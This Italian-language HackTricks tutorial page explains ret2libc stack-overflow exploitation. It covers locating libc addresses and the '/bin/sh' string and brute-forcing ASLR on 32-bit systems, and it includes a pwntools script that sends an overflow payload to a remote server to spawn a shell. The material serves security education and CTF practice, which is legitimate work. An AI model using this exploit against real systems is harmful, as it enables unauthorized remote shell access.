hacktricks/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2lib

Ret2lib

Impara l'hacking AWS da zero a eroe con htARTE (Esperto Red Team AWS di HackTricks)!

Altri modi per supportare HackTricks:

• Se vuoi vedere la tua azienda pubblicizzata in HackTricks o scaricare HackTricks in PDF Controlla i PIANI DI ABBONAMENTO!
• Ottieni il merchandising ufficiale di PEASS & HackTricks
• Scopri La Famiglia PEASS, la nostra collezione di NFT esclusivi
• Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
• Condividi i tuoi trucchi di hacking inviando PR a HackTricks e HackTricks Cloud github repos.

Informazioni di Base

L'essenza di Ret2Libc è quella di reindirizzare il flusso di esecuzione di un programma vulnerabile a una funzione all'interno di una libreria condivisa (ad esempio, system, execve, strcpy) anziché eseguire shellcode fornito dall'attaccante nello stack. L'attaccante crea un payload che modifica l'indirizzo di ritorno nello stack per puntare alla funzione della libreria desiderata, predisponendo anche eventuali argomenti necessari correttamente secondo la convenzione di chiamata.

Passaggi di Esempio (semplificati)

• Ottenere l'indirizzo della funzione da chiamare (ad esempio, system) e il comando da chiamare (ad esempio, /bin/sh)
• Generare una catena ROP per passare il primo argomento puntando alla stringa del comando e il flusso di esecuzione alla funzione

Trovare gli indirizzi

• Supponendo che la libc utilizzata sia quella della macchina corrente, puoi trovare dove verrà caricata in memoria con:

{% code overflow="wrap" %}

ldd /path/to/executable | grep libc.so.6 #Address (if ASLR, then this change every time)

{% endcode %}

Se vuoi verificare se l'ASLR sta cambiando l'indirizzo di libc, puoi fare:

for i in `seq 0 20`; do ldd ./<bin> | grep libc; done

• Sapendo quale libc viene utilizzato, è anche possibile trovare l'offset alla funzione system con:

readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system

• Sapendo quale libc è utilizzato, è anche possibile trovare l'offset alla stringa della funzione /bin/sh con:

strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh

Usando gdb-peda / GEF

Conoscendo la libc utilizzata, è anche possibile utilizzare Peda o GEF per ottenere l'indirizzo della funzione system, della funzione exit e della stringa /bin/sh :

p system
p exit
find "/bin/sh"

Usando /proc/<PID>/maps

Se il processo crea figli ogni volta che si comunica con esso (server di rete) prova a leggere quel file (probabilmente avrai bisogno di essere root).

Qui puoi trovare esattamente dove è caricata la libc all'interno del processo e dove verrà caricata per ogni figlio del processo.

In questo caso è caricata in 0xb75dc000 (Questo sarà l'indirizzo di base della libc)

Libreria libc sconosciuta

Potrebbe essere possibile che non conosci la libc che il binario sta caricando (perché potrebbe trovarsi in un server a cui non hai accesso). In tal caso potresti sfruttare la vulnerabilità per rivelare alcuni indirizzi e trovare quale libreria libc viene utilizzata:

{% content-ref url="rop-leaking-libc-address/" %} rop-leaking-libc-address {% endcontent-ref %}

E puoi trovare un modello di pwntools per questo in:

{% content-ref url="rop-leaking-libc-address/rop-leaking-libc-template.md" %} rop-leaking-libc-template.md {% endcontent-ref %}

Bypassare ASLR in 32 bit

Questi attacchi di forza bruta sono utili solo per sistemi a 32 bit.

• Se l'exploit è locale, puoi provare a forzare l'indirizzo di base della libc (utile per sistemi a 32 bit):

for off in range(0xb7000000, 0xb8000000, 0x1000):

• Se si attacca un server remoto, si potrebbe provare a forzare l'indirizzo della funzione usleep della libc, passando come argomento 10 (ad esempio). Se a un certo punto il server impiega 10 secondi in più per rispondere, hai trovato l'indirizzo di questa funzione.

One Gadget

{% content-ref url="../../one-gadget.md" %} one-gadget.md {% endcontent-ref %}

Esempio di codice x86 Ret2lib

In questo esempio, il brute-force ASLR è integrato nel codice e il binario vulnerabile è situato su un server remoto:

from pwn import *

c = remote('192.168.85.181',20002)
c.recvline()

for off in range(0xb7000000, 0xb8000000, 0x1000):
p = ""
p += p32(off + 0x0003cb20) #system
p += "CCCC" #GARBAGE, could be address of exit()
p += p32(off + 0x001388da) #/bin/sh
payload = 'A'*0x20010 + p
c.send(payload)
c.interactive()

Esempio di codice x64 Ret2lib

Controlla l'esempio da:

{% content-ref url="../rop-return-oriented-programing.md" %} rop-return-oriented-programing.md {% endcontent-ref %}

Ret-into-printf (o puts)

Questo permette di ottenere informazioni dal processo chiamando printf/puts con alcuni dati specifici posizionati come argomento.

Ret2printf

Questo significa fondamentalmente abusare di un Ret2lib per trasformarlo in una vulnerabilità di stringhe di formato printf utilizzando il ret2lib per chiamare printf con i valori da sfruttare (sembra inutile ma è possibile):

{% content-ref url="../../format-strings/" %} format-strings {% endcontent-ref %}

Altri Esempi e riferimenti

• https://guyinatuxedo.github.io/08-bof_dynamic/csaw19_babyboi/index.html
• Ret2lib, dato un leak all'indirizzo di una funzione in libc, utilizzando un gadget
• https://guyinatuxedo.github.io/08-bof_dynamic/csawquals17_svc/index.html
• 64 bit, ASLR abilitato ma no PIE, il primo passo è riempire un overflow fino al byte 0x00 del canary per poi chiamare puts e leakarlo. Con il canary viene creato un gadget ROP per chiamare puts e leakare l'indirizzo di puts dal GOT e un gadget ROP per chiamare system('/bin/sh')
• https://guyinatuxedo.github.io/08-bof_dynamic/fb19_overfloat/index.html
• 64 bit, ASLR abilitato, no canary, stack overflow in main da una funzione figlia. Gadget ROP per chiamare puts e leakare l'indirizzo di puts dal GOT e poi chiamare un one gadget.
• https://guyinatuxedo.github.io/08-bof_dynamic/hs19_storytime/index.html
• 64 bit, no pie, no canary, no relro, nx. Utilizza la funzione write per leakare l'indirizzo di write (libc) e chiamare un gadget.